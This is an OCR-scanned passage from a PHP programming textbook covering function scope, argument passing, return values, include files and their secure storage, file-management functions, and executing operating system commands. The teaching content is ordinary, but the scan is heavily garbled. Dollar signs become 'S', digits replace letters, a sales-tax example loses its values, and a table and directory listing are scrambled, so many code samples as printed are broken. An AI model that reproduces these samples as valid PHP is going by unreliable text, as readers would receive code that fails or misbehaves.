output. That is, in the preceding function, if the global statement followed
the $name = statement, the function wouldn’t work correctly.

Similarly, if a variable is created outside the function, you can’t use it inside
the function unless it’s global. In the following statements, the only global
statement is inside the function:

sfirst_name = "John";

$last_name = "Smith";

function format_name ()

{
global S$first_name, S$last_name;
Sname = S$last_name.", ".S$first_name;
echo "$name";

}

format_name () ;
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Because the code didn’t include a global statement outside the function,
$last_name and $first_name inside the function are different variables
than $1ast_name and $first_name created in the script outside the func-
tion. The variables $1ast_name and $first_name inside the function are
created when you name them and have no values. Therefore, $name echoes
only a comma, as follows:

’

You need the global statement for the function to work correctly.

Passing values to a function

You pass values to a function by putting the values between the parentheses
when you call the function, as follows:

functionname (value,value, ...);

Of course, the variables can’t just show up. The function must be expecting
them. The function statement includes variables’ names for the values it’s
expecting, as follows:

function functionname($varnamel,$varname2, ...)
{

statements

return;

}
For example, the following function computes the sales tax:

function compute_salestax ($amount, $custState)
{
switch ( ScustState )
{
case "OR"
Ssalestaxrate
break;
case "CA"
Ssalestaxrate = 1.0;
break;
default:
Ssalestaxrate = .5;
break;

0;

}
Ssalestax = Samount * $salestaxrate;
echo "$salestax<br />";
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The first line shows that the function expects two values — $amount and
$custState. When you call the function, you pass it two values, as follows:

Samount = 2000.00;
ScustState = "CA";
compute_salestax (Samount, ScustState) ;

In this case, the amount passed in is 2000.00 and the state is CA. The output
is 2000, because the salestaxrate for CAis 1.0.

Passing the right type of values

You can pass values directly, including computed values, or you can pass
variables containing values. The following calls are valid:

compute_salestax (2000, "CA") ;
compute_salestax(2*1000,"") ;
compute_salestax (2000, "C"."A") ;

You can pass values of any data type. See Chapter 1 in this minibook for

a discussion of data types. Generally, you want to test the values that are
passed to check whether the values are the expected data type. For example,
the following function expects an array:

function add_numbers ($numbers)
{
if (is_array (S$Snumbers))
{
for($i=0;%i <sizeof ($Snumbers) ;$i++)
{
@Ssum = $sum + Snumbers[$i];
}
echo $sum;
}
else

{
echo "value passed is not an array";
return;

}
You can use the following statements to call the add_numbers function:

Ssarrayofnumbers = array(100,200);
add_numbers ($Sarrayofnumbers) ;

The function displays 300, which is the sum of 100 plus 200. If the value
passed isn’t an array, as follows:

add_numbers (100) ;
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the function displays the message:

value passed is not an array

Passing values in the correct order

The function receives the values in the order they are passed. That is, suppose
you have the following function:

function functionx($x,$y,S$z)

{
do stuff

}

You call the function, as follows:
functionx(Svarl, $Svar2, Svar3) ;
functionx sets $x=3%varl, Sy=$var2, and $z=$var3.

If the values you pass aren’t in the expected order, the function uses the
wrong value when performing the task. For instance, perhaps your definition
for a function to compute sales tax looks like the following:

function compute_salestax($SorderCost, ScustState)
{
compute tax

}

Here, $orderCost is the cost of the order, and $custState is the state
the customer resides in. But suppose you use the following call:

compute_salestax (ScustState, SorderCost) ;

The function uses the value of the $custState variable as the cost of the
order, which it sets to 0, because it is a string. It sets the ScustState
variable to the number in $orderCost, which wouldn’t match any of its
categories. The output would be 0.

Passing the right number of values

A function is designed to expect a certain number of values to be passed to it.
If you don’t send enough values, the function sets the missing one(s) to NULL.
If you have your warning message level turned on, a warning message is dis-
played. (See the section about understanding error messages in Chapter 1
in this minibook for a description of error levels.) For example, suppose you
have the following function that formats a name:
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function format_name ($first_name, $last_name)
{

Sname = "$last_name, ".Sfirst_ name;

echo S$name;

}

The function expects two values to be passed to it. Suppose you call it with
the following statement:

format_name ("John") ;
You see a message similar to the following:

Warning: Missing argument 2 for format_name() in testing.php
on line 9

However, warnings don’t stop the script; it continues to run. So, the script
outputs the following:

, John

If you send too many values, the function ignores the extra values. In most
cases, you don’t want to pass the wrong number of values, although this can
be useful in a few rare instances.

You can set default values to be used when a value isn’t passed. The defaults
are set when you write the function, as follows:

function add_2_numbers ($Snuml=1, Snum2=1)
{

Stotal = $numl + Snum2;

echo "total = S$total";
}

If one or both of the values aren’t passed to the function, the function
uses the assigned defaults, but if a value is passed, it is used instead of the
default. For instance, you might use one of the following calls:

add_2_ numbers(2,2) ;
add_2_numbers (2) ;

add_2_numbers () ;

The results are, in consecutive order:

Stotal = 4
Stotal = 3
Stotal = 2
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Passing values by reference

When you pass values into variables in the function definition as shown so
far, you're passing by value. Passing by value is the most common way to
pass values to a function, as follows:

function add_1 ($numl)

{

Snuml = $Snuml + 1;

}

When passing by value, copies are made of $numl and are passed to the
function. While $numl is changed inside the function, by adding 1 to it, the
variable $numl outside of the function is not changed. So, if you call the
function with the following statements:

Snuml = 3;
add_1 ($numl) ;
echo S$numl;

The output is
3

$numl still contains the same value as it did before you called the function.
You can change this by making the variable global inside the function or by
returning $numl from the function after it’s changed and calling the func-
tion, as follows:

Snuml = add_1 ($numl) ;

The new value of $numl is returned from the function and stored in $numl
outside the function.

In some cases, you want to change the values of variables directly, changing
their values outside the function. Passing by reference is used for this task.
To pass a variable by reference, add & before the variable name, as follows:

function add_1 (&$numl)
{
Snuml = S$Snuml + 1;

}

When you call this function, a pointer to the location of the variable is
passed, rather than a copy of the variable. That is, the function call passes

a pointer to the container called $num where the value 3 is stored. When
you change the variable with statements inside the function, the value at the
original location is changed. So, if you call the function with the following
statements:
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Snuml = 3;
add_1 ($numl) ;
echo S$numl;

the output is
4

Because you’re passing a pointer to a variable, the following doesn’t make
sense:

add_1(&7) ;

Passing by reference is used mainly when passing really large values, such
as an object or a large array. It’s more efficient to pass a pointer than to pass
a copy of really large values.

Returning a value from a function

If you want a function to send a value back to the main script, use the
return statement. The main script can put the value in a variable or use it
in any manner it would use any value.

To return a value from the function, put the return statement in the function.
The general format is

return value;
For instance, the function that adds two numbers might look like this:
function add_2_ numbers ($numl, Snum?2)
{

Stotal = S$Snuml + S$num2;

return S$total;
}
The total of the two numbers is returned. You call the function, as follows:
Ssum = add_2_ numbers (5,6);
$sum then equals the value in $total that was returned from the
function — 11. In fact, you could use a shortcut and send the total back
to the main script with one statement:

return $Snuml + S$Snum2;

The main script can use the value in any of the usual ways. The following
statements use the function call in valid ways:
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Stotal_height = add_2_numbers (Sheightl, Sheight2) ;
StotalSize = Scurrent_size + add_2_ numbers ($sizel, $size2);

if (add_2_numbers ($costSocks, ScostShoes) > 200.00 )
Secho "No sale";

A return statement can return only one value. However, the value returned
can be an array, so you can actually return many values from a function.

You can use a return statement in a conditional statement to end a function,
as follows:

function find_value ($Sarray, $Svalue)
{ for($i=1;Si<sizeof (Sarray) ;Si++)
{ if (Sarray[$i] = S$value)
{ echo "$i. Sarray[Sil<br />";
return;

}
}

The function checks an array to see whether it contains a value. For instance,
you can call the function with the following statements:

Snames = array("Joe","Sam", "Juan") ;
find_value ($names, "Sam") ;

The function searches through the values in the array searching for Sam. If it
finds Sam, it stops searching. The output shows the array item where Sam is
found, as follows:

1. Sam

Often functions are designed to return Boolean values (true or false), as in
the following function:

function is_over_100 ($Snumber)
{
if (Snumber > 100)
{
return true;
}
else
{
return false;

}
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Numbers equal to or less than 100 return false; numbers over 100 return
true. Another common function design returns a value if the function suc-
ceeds but returns false if the function does not succeed. For instance, you
can design the find_value function as follows:

function find_value ($Sarray, Svalue)
{
for($i=1;S$i<sizeof (Sarray);Si++)
{
if (Sarray[$i] == S$value)
{
return 1$;
}
}

return false;

}

If the function finds the value in the array, it returns the number of the array
element where it found $value. However, if it doesn’t find the value any-
where in the array, it returns false.

Using built-in functions

PHP’s many built-in functions are one reason why PHP is so powerful and
useful. The functions included with PHP are normal functions. They’re no dif-
ferent than functions you create yourself. It’s just that PHP has already done
all the work for you.

You can call PHP’s built-in functions the same way you call functions you
create yourself. You use the function name and pass any values the function
needs. We discuss specific PHP functions throughout the book. For instance,
earlier in this chapter, we discuss several functions that you can use to
check whether a variable exists or whether it’s empty. Here are a couple of
those functions:

isset ($varname)
empty (Svarname)

The PHP online documentation describes all the built-in functions at www .
php.net/manual/en/funcref .php. In addition, the PHP documentation
provides a search function that’s very useful when you remember the name
of the function but can’t remember the exact syntax. Type the function name
in the Search For text box at the top of the web page and choose Function
List from the drop-down list.


http://www.php.net/manual/en/funcref.php
http://www.php.net/manual/en/funcref.php
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A script is a series of PHP statements, and each statement performs an
action. PHP starts at the beginning of the script and executes each statement
in turn. Some statements are complex statements that execute simple state-
ments conditionally or repeatedly.

An application often consists of more than one PHP script. In general, one
script performs one major task. For instance, an application might include
a script to display a form and a script that stores the data in a database.
However, this is a guideline, rather than a rule. Some scripts both display a
form and process the form data.

Each script should be organized into sections for each specific task. Start
each section with a comment describing what the section does. (We cover
writing comments in Book II, Chapter 1.) Separate sections from each other
with blank lines. For instance, a login script might have sections as follows:

#display the login form
statements that display the login form

#check for valid user name and password
statements that check for valid user name and password

#display first page of website or error message
statements that display the site if user had valid login
or error message if login invalid

The goal is to make the script as clear and understandable as possible.
Scripts need to be maintained and updated over a period of time, often not
by the person who created them. The more clear and understandable they
are, the easier to maintain and update they are.

The following sections give you some tips and tricks for organizing your PHP
scripts in a way that simplifies your programming tasks.

Separating display code from logic code

One principle of good practice for writing an application is to separate the
PHP programming logic from the HTML that displays the web page. To do
this, the HTML that displays the page is put in a separate file. This file can
then be used in the script wherever the web page needs to be displayed. You
can store the HTML code that displays a form in a separate file and then use
that code whenever the form needs to be displayed. Not only does it make
your PHP script easier to read, but it also makes changing the form simpler.
You can make the changes just in the file that contains the HTML code
rather than having to find everywhere the application displays the form and
make the changes at every location.
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For example, suppose your customer adds an item to a shopping cart.

On the shopping cart web page, you include two buttons — one that says
Continue Shopping and one that says Log Out. When the user clicks either
button, the following PHP script is executed:

<?php
if (Sbutton == "Continue Shopping")
{

include("catalog.inc") ;

}

else

{
include("logout.inc") ;

}

?>

If the user clicks Continue Shopping, a file containing HTML code that dis-
plays the catalog is used. If the users clicks the Log Out button, a file that
contains the HTML code for the log-out message is used. We discuss the
details of using include files later in this chapter in the “Organizing with
include files” section.

You can see how much easier the script is to read with only the include
statement in the script, rather than with all the HTML code needed to display
the page cluttering up the script.

Reusing code

Another practice that makes scripts easy to maintain is reusing code. It’s
common to find yourself typing the same ten lines of PHP statements in
several places in the script. You can store that block of code and reuse it
wherever it’s needed.

Storing reusable code separately makes the script easier to read and under-
stand. In addition, when the code needs changing, you just change it in one
place, rather than changing it in a dozen different places in the script.

You can reuse code by storing the code in a function and calling the function
wherever you need to perform the task. Creating and using functions is dis-
cussed earlier in this chapter, in the “Using Functions” section.

Another way you can reuse code is to store the code in a separate file and
incorporate the file into the script where it is needed. You can bring an
external file into a script with an include statement, discussed later in this
chapter in the “Organizing with include files” section.

Organizing with functions
Make frequent use of functions to organize your scripts. Functions are useful
when your script needs to perform the same task at repeated locations in a
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script, in different scripts in the application, and even in different applications.
After you write a function that does the task and you know it works, you can
use it anywhere that you need it.

Look for opportunities to use functions. Your script is much easier to read
and understand with a line like this:

getCustomerName () ;

than with 20 lines of statements that actually get the customer name. In fact,
after you've been writing PHP scripts for a while, you’ll have a stash of func-
tions that you've written for various scripts. Very often the script that you're
writing can use a function that you wrote for another application two jobs
ago. For instance, you may often have a need for a list of the states. Rather
than include a list of all 50 states in the United States every time you need it,
you could create a function called getStateNames () that returns an array
that holds the 50 state names in alphabetical order and a function called
getStateCodes () that returns an array with all 50 two-letter state abbre-
viation codes in the same order.

Always use descriptive function names. The function calls in your script
should tell you exactly what the functions do. Long names are okay. You
don’t want to see a line in your script that reads

functionl () ;

Even a line like the following is less informative than it could be:
getDatal() ;

You want to see a line like this:

getAllCustomerNames () ;

Organizing with include files

include statements bring the content of a file into your script. Thus, you
can put statements into an external file — a file separate from your script
file — and insert the file wherever you want in the script with the include
statement. include statements are useful for storing statements that are
repeated. Here are some ways to use include files to organize your scripts:

4 Put all or most of your HTML into include files. For instance, if your
script sends a form to the browser, put the HTML for the form into an
external file. When you need to send the form, use an include state-
ment. Putting the HTML into an include file is a good idea if the form is
shown several times. It’s even a good idea if the form is shown only once
because it makes your script much easier to read.
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+

Put your functions in include files. You don’t need the statements

for functions in the script; you can put them in an include file. If you
have a lot of functions, organize related functions into several include
files, such as data_functions.inc and form_functions.inc. Use
include statements at the top of your scripts, reading in only the func-
tions that are used in the script.

Store statements that all the files on your website have in common.
Most websites have many web pages with many elements in common.
For instance, all web pages start with <html>, <head>, and <body>
tags. If you store the common statements in an include file, you can
include them in every web page, ensuring that all your pages look alike.
For instance, you might have the following statements in an include
file:

<html>
<head><title><?php echo $title ?></title></head>
<body topmargin="0">
<p style="text-align: center">

<img src="logo.gif" width="100" height="200">
<hr color="red" />

If you include this file at the top of every script on your website, you
save a lot of typing, and you know that all your pages match. In addi-
tion, if you want to change anything about the look of all your pages, you
have to change it only in one place — in the include file.

Including files

You use an include statement to bring the content of an external text file
into your script. The format for an include statement is

include (" filename") ;

The file can have any name. We, your humble book authors, like to use the
extension . inc so that we know the file is an include file as soon as we see
the name. It helps with the organization and clarity of a website.

PHP provides four types of include statements:

+*

+

include: Includes and evaluates the specified file. It displays a warning
if it can’t find the specified file.

require: Performs the same was as the include statement, except that
it produces, in addition to a warning, a fatal error when it can’t find the
specified file, stopping the script at that point.

include_once: Performs the same as the include statement, except it
includes the file only once. If the file has already been included, it won’t
be included again. In some scripts, a file might be included more than
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once, causing function redefinitions, variable reassignments, and other
possible problems.

4 require_once: Performs the same as the require statement, except it
includes the file only once. If the file has already been included, it won’t
be included again. This statement prevents problems that might occur
when a file is included more than once.

The external file is included in your script at the location of the include
statement. The content of the file is read as HTML code, not PHP. Therefore,
if you want to use PHP statements in your include file, you must include
PHP tags in the include file.

Forgetting the PHP tags in the include file is a common mistake. It’s also

a security problem because without the PHP tags, the code in the include
file is displayed to the user as HTML. You don’t want your database pass-
word displayed on your web page. We discuss include file security later in
this chapter in the section “Storing include files securely.”

Using variables in include statements
You can use a variable name for the filename, as follows:

include("$filename") ;

For example, you might want to display different messages on different days.
You might store these messages in files that are named for the day on which
the message should appear. For instance, you can have a file named Sun.
inc with the following content:

<p>Go ahead. Sleep in. No work today.</p>

and similar files for all days of the week. The following statements can be
used to display the correct message for the current day:

Stoday = date("D");
include("Stoday".".inc") ;

After the first statement, $today contains the day of the week, in abbrevia-
tion form. The date statement is discussed in Chapter 1 in this minibook.
The second statement includes the correct file, using the day stored in
$today. If $today contains Sun, the statement includes a file called Sun. inc.

Storing include files securely

Where you store include files can be a security issue for websites. Files
stored on websites can be downloaded by any user, unless protected.
Theoretically, a user can connect to your website by using the following URL:
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http://example.com/secretpasswords.inc

If the web server is configured to process PHP sections only in files with
the .php extension and secretpasswords. inc contains the following
statements:

<?php
Smysecretaccount="account48756";
Smypassword="secret";

7>

the web server would obligingly display the contents of secretpasswords.
inc to the user. You can protect against this in one of the following ways:

4+ Name include files with .php extensions. This needs to be done care-
fully because it allows some PHP code to be run independently, without
any context. For instance, suppose you have code in your include file
that deleted a record in the database (highly unlikely). Running the code
outside of a script might have negative consequences. Also, you might
find it convenient to name files with a . inc extension, so you can see at
a glance that it’s a fragment, not a script intended to run by itself.

4+ Configure the web server to scan for PHP sections in files with the
.inc extension, as well as the .php extension. This allows you to
recognize include files by their names, but it still has the problem of
possible unintended consequences of running the file independently, as
discussed earlier.

4 Store the file in a location that isn’t accessible to outside users. This is
the preferred solution, but it may not be possible in some environments,
such as when using a web hosting company.

The best place to store include files is a directory where outside users
cannot access them. For instance, for your website, set up an include
directory that is outside your web space: that is, a directory in a location
that outside users can’t access using their browsers. For instance, the
default web space for Apache, unless it has been changed in the configura-
tion file (usually httpd. conf), is htdocs in the directory where Apache is
installed. If you store your include files in a directory that isn’t in your web
space, such as d: \include, you protect the files from outside users.

To include a file from a hidden directory (such as a directory outside your
web space), you can use the full pathname to the file, as follows:

include("d:/hidden/secretpasswords.inc") ;

However, PHP allows you to set an include directory. You can include files
from the include directory using only the filename.
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Setting up include directories

PHP looks for include files in the current directory, where your web page
file is stored, and in one or more directories specified by a setting in your
php. ini file. You can include files from the include directory without
specifying the path to the file.

You can see the current include directory location by using the phpinfo ()
statement. In the output, in the PHP core section, you can find a setting for
include_path that shows where your current include directory is located.
For example, in PHP 5, the default location might be c: \php5\pear.

You can change the setting for your include directory in the php. ini file.
Find the setting for include_path and change it to the path to your pre-
ferred directory, as follows:

include_path=".;c:\php\include"; # for Windows
include_path=".:/user/local/include"; # for Unix/Linux

Both of the statements specify two directories where PHP looks for include
files. The first directory is dot (meaning the current directory), followed by
the second directory, path. You can specify as many include directories
as you want and PHP will search them, in the order in which they are listed,
to find the include file. The directory paths are separated by a semicolon
for Windows or a colon for Unix and Linux.

If you can’t set the path yourself in php.ini, you can set the path in each
individual script by using the following statement:

ini_set ("include_path", "d:\hidden") ;

The statement sets the include_path to the specified directory only while
the script is running. It doesn’t set the directory for your entire website.

To access a file from an include directory, just use the filename, as follows.
You don’t need to use the full pathname.

include ("secretpasswords.inc") ;

If your include file isn’t in an include directory, you may need to use
the entire pathname in the include statement. If the file is in the same
directory as the script, the filename alone is sufficient. However, if the file
is located in another directory, such as a subdirectory of the directory the
script is in or in a hidden directory outside the web space, you need to use
the full pathname to the file, as follows:

include("d:\hidden\secretpasswords.inc") ;
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Chapter 3: PHP and Vour
Operating System

In This Chapter

v+ Manipulating files

v+~ Using operating system commands on files

v Transferring files from one machine to another
+* Reading and writing files

v~ Swapping data with other programs

1+~ Using SQLite to store data in text files

Fis book describes using tools like HTML, PHP, MySQL, and CSS together
to develop dynamic web applications. The HTML and CSS provide the
presentation and markup of pages, while PHP displays web pages and inter-
acts with MySQL to retrieve and store data for the application. For most
web applications, PHP needs to interact only with MySQL. However, a few
situations require a web application that’s more complex. The web applica-
tion might need to interact with the operating system or with other software
on your system.

A photo gallery is one web application that might need to interact with your
operating system. Your photo gallery might allow users to upload graphic
files into your application. For such an application, you might need to manage
the files that the users upload. You might need to rename them, move them,
or delete them. You might need to know when the photos were uploaded

or when they were last accessed. PHP provides all the features you need to
manage your file system, and we help you understand how to do that.

PHP also allows you to run any program that’s on your computer, regardless
of whether it’s a PHP program. With PHP code, you can transfer files between
computers by using File Transfer Protocol (FTP). You can store information
in files other than databases. This chapter gives you the information you need
to use PHP to do pretty much anything you can think of on your computer.
This chapter also provides information on the security risks inherent in
executing operating system commands. The chapter wraps up with a look at
a quick way to store data through a utility called SQLite.
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The information you save on your hard drive is organized into files. Rather
than storing files in one big file drawer, making them difficult to find, files are
stored in many drawers, called directories or folders. The system of files and
directories is called a file system.

Afile system is organized in a hierarchical structure, with a top level that is a
single directory called root, such as c: \ on Windows or / on Linux or Mac. The
root directory contains other directories, and each directory can contain other
directories, and so on. The file system’s structure can go down many levels.

A directory is a type of file that you use to organize other files. It contains a
list of files and the information needed for the operating system to find those
files. A directory can contain both files and other directories.

Files can be checked (to see if they exist, for example), copied, deleted, and
renamed, among other things. Functions for performing these file-management
tasks are described in the following sections. You also find out about functions
that allow you to manage directories and discover what’s inside them.

In this chapter, we cover the most useful functions for managing files, but
more functions are available. When you need to perform an action on a file
or directory, first check the online PHP documentation at www.php .net/
manual to see whether an existing function does what you need to do.
Using a function is preferable, if an appropriate function exists. If such a
function does not exist, you can use your operating system commands or a
program in another language, as described in the “Using Operating System
Commands” section, later in this chapter.

Getting information about files

Often you want to know information about a file. PHP has functions that
allow you to find out file information from within a script.

You can find out whether a file exists with the file_exists statement, as
follows:

Sresult = file exists("stuff.txt");

After this statement, Sresult contains either true or false. The function
is often used in a conditional statement, such as the following:

if(!file _exists("stuff.txt"))
{
echo "File not found!\n";

}

When you know the file exists, you can find out information about it.
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Table 3-1 shows many of the functions that PHP provides for checking files.
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(Some of the information in Table 3-1 is relevant only for Linux, Unix, and
Mac, and some is returned on Windows as well.)

Table 3-1 Functions That Get Information about a File
Function What It Does Output
is file("stuff.txt") Tests whether the trueor false

file is a regular file,
rather than a direc-
tory or other special
type of file

is_dir("stuff.txt")

Tests whether the
file is a directory

trueor false

is_executable("do.txt")

Tests whether the
file is executable

trueor false

is_writable("stuff.txt")

Tests whether you
can write to the file

trueor false

is_readable("stuff.txt")

Tests whether you
can read the file

trueor false

fileatime ("stuff.txt")

Returns the time
when the file was
last accessed

Unix time-

stamp (like
1057196122)or
false

filectime("stuff.txt")

Returns the time
when the file was
created

Unix timestamp or
false

filemtime ("stuff.txt")

Returns the time
when the file was
last modified

Unix timestamp or
false

filegroup ("stuff.txt")

Returns the group
ID of the file

Integer thatis a
groupIDor false

fileowner ("stuff.txt")

Returns the user
ID of the owner of
the file

Integer thatis a
user D or false

filesize("stuff.txt")

Returns the file size
in bytes

Integeror false

filetype("stuff.txt")

Returns the file type

File type (such
asfile,dir,
link, char), or
falseiferroror
can't identify type

basename("/tl/do.txt")

Returns the file-
name from the path

do.txt

dirname ("/tl/do.txt")

Returns the directory
name from the path

/tl

Book IV
Chapter 3

wajsAg bunesadg

INOA pue dHd



3 08 Managing Files

“ NG/
QA \\ H

A function that returns useful information about a path/filename is
pathinfo (). You can use the following statement:

Spinfo = pathinfo("/topdir/nextdir/stuff.txt");

After the statement, Spinfo is an array that contains the following three
elements:

Spinfo[dirname] = /topdir/nextdir
$pinfo[basename] = stuff.txt
Spinfo[extension] = txt

When you’re testing a file with one of the is_something functions from
Table 3-1, any typing error, such as a misspelling of the filename, gives a
false result. For example, is_dir ("tyme") returns false if "tyme" is
a file, not a directory. But, it also returns false if "tyme" does not exist
because you meant to type "type".

Unix timestamps are returned by some of the functions given in Table 3-1.
You can convert these timestamps to dates with the date function, as
described in Chapter 1 in this minibook.

Copying, renaming, and deleting files

You can copy an existing file into a new file. After copying, you have two
copies of the file with two different names. Copying a file is often useful for
backing up important files. To copy a file, use the copy statement, as follows:

copy ("fileold.txt","filenew.txt");

This statement copies fileold. txt, an existing file, into filenew. txt.If a
file with the name filenew. txt already exists, it’s overwritten. If you don’t
want to overwrite an existing file, you can prevent it by using the following
statements:

If(!file_exists("filenew.txt"))

{
copy ("fileold.txt","filenew.txt");

echo "File already exists!\n";

}

You can copy a file into a different directory by using a pathname as the des-
tination, as follows:

copy ("fileold.txt", "newdir/filenew. txt") ;
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You can rename a file by using the rename statement, as follows:
rename ("oldname. txt", "newname.txt") ;

If you attempt to rename a file with the name of a file that already exists, a
warning is displayed, as follows, and the file is not renamed:

Warning: rename(fileold.txt,filenew.txt): File exists in
c:test.php on line 17

To remove an unwanted file, use the unlink statement, as follows:
unlink ("badfile.txt") ;
After this statement, the file is deleted.

If the file doesn’t exist to start with, unlink doesn’t complain. It acts the
same as if it had deleted the file. PHP doesn’t let you know if the file doesn’t
exist. So, watch out for typos.

Organizing files

Files are organized into directories, also called folders. This section
describes how to create and remove directories and how to get a list of the
files in a directory.

Creating a directory
To create a directory, use the mkdir function, as follows:

mkdir ("testdir") ;

This statement creates a new directory named testdir in the same directory
where the script is located. That is, if the script is /test/test.php, the

new directory is /test/testdir. If a directory already exists with the same
name, a warning is displayed, as follows, and the new directory is not created:

Warning: mkdir(): File exists in d:/test/test.php on line 5

You can check first to see whether the directory already exists by using the
following statements:

If(!is_dir ("mynewdir"))
{
mkdir ("mynewdir") ;
}
else
{
echo "Directory already exists!";

}
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After the directory is created, you can organize its contents by copying
files into and out of the directory. Copying files is described in the section
“Copying, renaming, and deleting files,” earlier in this chapter.

To create a directory in another directory, use the entire pathname, as follows:
mkdir ("/topdir/nextdir/mynewdir") ;

You can use a relative path to create a new directory, as follows:

mkdir ("../mynewdir") ;

With this statement, if your script is /topdir/test/makedir.php, the
new directory is /topdir/mynewdir

To change to a different directory, use the following statement:

chdir("../anotherdir") ;

Building a list of all the files in a directory

Getting a list of the files in a directory is often useful. For example, you
might want to provide a list of files for users to download or want to display
images from files in a specific directory.

PHP provides functions for opening and reading directories. To open a
directory, use the opendir statement, as follows:

Sdh = opendir("/topdir/testdir");

If you attempt to open a directory that doesn’t exist, a warning is displayed,
as follows:

Warning: opendir (testdir): failed to open dir: Invalid
argument in testl3.php on line 5

In the previous statement, the variable $dh is a directory handle, a pointer to
the open directory that you can use later to read from the directory. To read
a filename from the directory, use the readdir function, as follows:

S$filename = readdir ($dh);

After this statement, $filename contains the name of a file. Only the file-
name is stored in $filename, not the entire path to the file. To read all the
filenames in a directory, you can use a while loop, as follows:

while($filename = readdir ($dh))
{
echo $filename."\n";

}
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The readdir function doesn’t provide any control over the order in which
filenames are read, so you don’t always get the filenames in the order you
expect.

Suppose you want to create an image gallery that displays all the images in

a specified directory in a web page. You can use the opendir and readdir
functions to do this. Listing 3-1 shows a script that creates an image gallery.

Listing 3-1: A Script That Creates an Image Gallery

<?php
/* Script name: displayGallery
* Description: Displays all the image files that are

* stored in a specified directory.
*/
echo "<html><head><title>Image Gallery</title></head>
<body>";
$dir = "../testl/testdir/"; —8
Sdh = opendir ($dir) ; —9
while($Sfilename = readdir ($dh)) —10
{
Sfilepath = $dir.$filename; —12
if(is_file(Sfilepath) and ereg("\.jpgs$",S$Sfilename)) —13
{
Sgallery[] = S$filepath;
}
}
sort (Sgallery) ; —16
foreach($gallery as S$image) —17

{
echo "<hr />";
echo "<img src='$image' /><br />";
}
?>
</body></html>

Notice the line numbers at the end of some of the lines in Listing 3-1. The
following discussion of the script and how it works refers to the line numbers
in the script listing:

—8 This line stores the name of the directory in $dir for use later in
the program. Notice that the / is included at the end of the direc-
tory name. Don’t use \, even with Windows.

—9 This line opens the directory.

—10 This line starts a while loop that reads in each filename in the
directory.
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—12 This line creates the variable $filepath, which is the complete
path to the file.

If the / isn’t included at the end of the directory name on Line 8§,
$filepath will not be a valid path.

—13 This line checks to see whether the file is a graphics file by look-
ing for the . jpg extension. If the file has a . jpg extension, the
complete file path is added to an array called $gallery.

—16 This line sorts the array so the images are displayed in alphabetical
order.

—17 This line starts the foreach loop that displays the images in the
web page.

Using Operating System Commands

When you need to interact with your operating system, it’s always best to
use the PHP functions that are provided for this purpose. Using PHP func-
tions is faster and usually more secure than executing an operating system
command directly. However, occasionally PHP doesn’t provide a function
to perform the task you need. In such cases, you can use PHP features that
enable you to execute an operating system command.

In this section, we assume that you know the format and use of the system
commands for your operating system. Describing operating system com-
mands is outside the scope of this book. If you need to run an operating
system command from your PHP script, this section shows you how.

PHP allows you to use system commands or run programs in other lan-
guages by using any of the following methods:

4+ backticks: PHP executes the system command that is between two back-
ticks (*) and displays the result.

4+ system function: This function executes a system command, displays
the output, and returns the last line of the output.

4+ exec function: This function executes a system command, stores the
output in an array, and returns the last line of the output.

4+ passthru function: This function executes a system command and dis-
plays the output.

You can execute any command that you can type into the system prompt.
The command is executed exactly as is. You can execute simple commands:
1s or dir, rename or mv, rm or del, though it’s more efficient to use the
built-in PHP functions for those, as already discussed.
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If your operating system allows you to pipe or redirect output, you can pipe
or redirect in the system command you’re executing in PHP. If your operat-
ing system allows you to enter two commands on one line, you can put two
commands into the single command you're executing from PHP. The following
sample commands are valid to execute from PHP, depending on the operating
system:

dir

rm badfile.txt

dir | sort
cd c:\php ; dir (Not valid in Windows)
"cd c:\php && dir" (Windows)

dir > dirfile
sort < unsortedfile.txt

On some occasions, you want to run a system command that takes a long
time to finish. You can run the system command in the background (if your
operating system supports such things) while PHP continues with the script.
If you do this, you need to redirect the output to a file, rather than return it
to the script, so that PHP can continue before the system command finishes.

The following sections describe the preceding methods in greater detail.

Using backticks

A simple way to execute a system command is to put the command between
two backticks (), as follows:

Sresult = “dir c:\php;

The variable $result contains the statement’s output — in this case, a
list of the files in the c: \php directory. If you echo $result, the following
output is displayed:

Volume in drive C has no label.
Volume Serial Number is 58B2-DBD6

Directory of c:\php

10/10/2013 05:43 PM <DIR>

10/10/2013 05:43 PM <DIR> ..
10/10/2013 04:53 PM <DIR> dev
10/10/2013 04:53 PM <DIR> ext
10/10/2013 04:53 PM <DIR> extras

Book IV
Chapter 3

wajsAg bunesadg

INOA pue dHd



3 74 Using Operating System Commands

08/30/2013
08/30/2013
08/30/2013
08/30/2013
08/30/2013
08/30/2013
08/30/2013
08/30/2013
08/30/2013
08/30/2013
08/30/2013
08/30/2013
08/30/2013
08/30/2013
10/10/2013
08/30/2013
08/30/2013
08/30/2013
08/30/2013
08/30/2013
08/30/2013
08/30/2013
08/30/2013
08/30/2013
08/30/2013
08/30/2013
08/30/2013
08/30/2013
08/30/2013
08/30/2013
08/30/2013
08/30/2013
08/30/2013
08/30/2013
08/30/2013

07:
07:
07:
07:
07:
07:
07:
07:
07:
07:
07:
07:
07:
07:
04:
07:
07:
07:
07:
07:
07:
07:
07:
07:
07:
07:
07:
07:
07:
07:
07:
07:
07:
07:
07:

35 File(s)
6 Dir(s)

11
11
11
11
11
11
11
11
11
11
11
11
11
11
53
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11
11

<DIR>

417,792
90,112
346,624
90

96,317
1,097,728
166,912
165,643
2,035,712
385,024
3,286
57,344
168,858
278,800

41,017
32,825
32,821
2,523
46,311
49,953
36,924
36,925
36,927
36,932
57,410
669,318
28,731
28,731
4,796,472
86,076
135

139
1,830
200,704

fdftk.dll
fribidi.dll
gds32.d11l
go-pear.bat
install.txt
libeay32.d11
libmcrypt.dll
libmhash.dll
libmysqgl.dll
libswish-e.dll
license. txt

msgl.dll

news. txt
ntwdblib.dll

PEAR

php-cgi.exe
php-win.exe

php.exe

php.gif
php.ini-dist
php.ini-recommended

phpS5apache.dll
phpbapache2.dll
phpS5apache2_2.d11
php5apache2_filter.dll
phpb5apache_hooks.dl1l
phpbSembed.lib
php5isapi.dll
phpb5nsapi.dll
php5ts.dll
php_mysqgli.dll
pws-php5cgi.reg
pws-php5isapi.reg
snapshot. txt
ssleay32.d1l1

11,569,880 bytes
180,664,549,376 bytes free

The backtick operator is disabled when safe_mode is enabled. On some
systems, safe_mode is set to Of £ by default when PHP is installed. On
other systems, safe_mode is set to On. The system administrator can

change this value.

Using the system function
The system function executes a system command, displays the output, and
returns the last line of the output from the system command. To execute a

system command, use the following statement:

Sresult =

system("dir c:\php");
